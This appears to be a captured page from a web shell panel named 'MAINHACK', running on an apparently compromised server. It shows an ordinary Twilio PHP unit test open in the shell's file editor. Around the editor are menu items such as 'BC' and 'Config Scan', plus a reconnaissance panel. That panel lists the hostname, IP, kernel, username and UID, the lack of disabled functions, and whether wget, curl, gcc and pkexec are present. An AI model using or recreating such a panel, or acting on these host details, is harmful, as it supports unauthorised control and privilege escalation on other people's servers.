[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: ClientTokenTest.php
<?php namespace Twilio\Tests\Unit\Jwt; use Twilio\Jwt\ClientToken; use Twilio\Jwt\JWT; use Twilio\Tests\Unit\UnitTest; class ClientTokenTest extends UnitTest { public function testNoPermissions() { $token = new ClientToken('AC123', 'foo'); $payload = JWT::decode($token->generateToken(), 'foo'); $this->assertEquals($payload->iss, "AC123"); $this->assertEquals($payload->scope, ''); } public function testInboundPermissions() { $token = new ClientToken('AC123', 'foo'); $token->allowClientIncoming("andy"); $payload = JWT::decode($token->generateToken(), 'foo'); $eurl = "scope:client:incoming?clientName=andy"; $this->assertEquals($payload->scope, $eurl); } public function testOutboundPermissions() { $token = new ClientToken('AC123', 'foo'); $token->allowClientOutgoing("AP123"); $payload = JWT::decode($token->generateToken(), 'foo');; $eurl = "scope:client:outgoing?appSid=AP123"; $this->assertContains($eurl, $payload->scope); } public function testOutboundPermissionsParams() { $token = new ClientToken('AC123', 'foo'); $token->allowClientOutgoing("AP123", array("foobar" => 3)); $payload = JWT::decode($token->generateToken(), 'foo'); $eurl = "scope:client:outgoing?appSid=AP123&appParams=foobar%3D3"; $this->assertEquals($payload->scope, $eurl); } public function testEvents() { $token = new ClientToken('AC123', 'foo'); $token->allowEventStream(); $payload = JWT::decode($token->generateToken(), 'foo'); $event_uri = "scope:stream:subscribe?path=%2F2010" . "-04-01%2FEvents¶ms="; $this->assertEquals($payload->scope, $event_uri); } public function testEventsWithFilters() { $token = new ClientToken('AC123', 'foo'); $token->allowEventStream(array("foobar" => "hey")); $payload = JWT::decode($token->generateToken(), 'foo'); $event_uri = "scope:stream:subscribe?path=%2F2010-" . "04-01%2FEvents¶ms=foobar%3Dhey"; $this->assertEquals($payload->scope, $event_uri); } public function testDecode() { $token = new ClientToken('AC123', 'foo'); $token->allowClientOutgoing("AP123", array("foobar"=> 3)); $token->allowClientIncoming("andy"); $token->allowEventStream(); $outgoing_uri = "scope:client:outgoing?appSid=" . "AP123&appParams=foobar%3D3&clientName=andy"; $incoming_uri = "scope:client:incoming?clientName=andy"; $event_uri = "scope:stream:subscribe?path=%2F2010-04-01%2FEvents"; $payload = JWT::decode($token->generateToken(), 'foo'); $scope = $payload->scope; $this->assertContains($outgoing_uri, $scope); $this->assertContains($incoming_uri, $scope); $this->assertContains($event_uri, $scope); } function testDecodeWithAuthToken() { try { $token = new ClientToken('AC123', 'foo'); $payload = JWT::decode($token->generateToken(), 'foo'); $this->assertSame($payload->iss, 'AC123'); } catch (\UnexpectedValueException $e) { $this->assertTrue(false, "Could not decode with 'foo'"); } } function testClientNameValidation() { $this->setExpectedException('InvalidArgumentException'); $token = new ClientToken('AC123', 'foo'); $token->allowClientIncoming('@'); $this->fail('exception should have been raised'); } function zeroLengthNameInvalid() { $this->setExpectedException('InvalidArgumentException'); $token = new ClientToken('AC123', 'foo'); $token->allowClientIncoming(""); $this->fail('exception should have been raised'); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.8 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002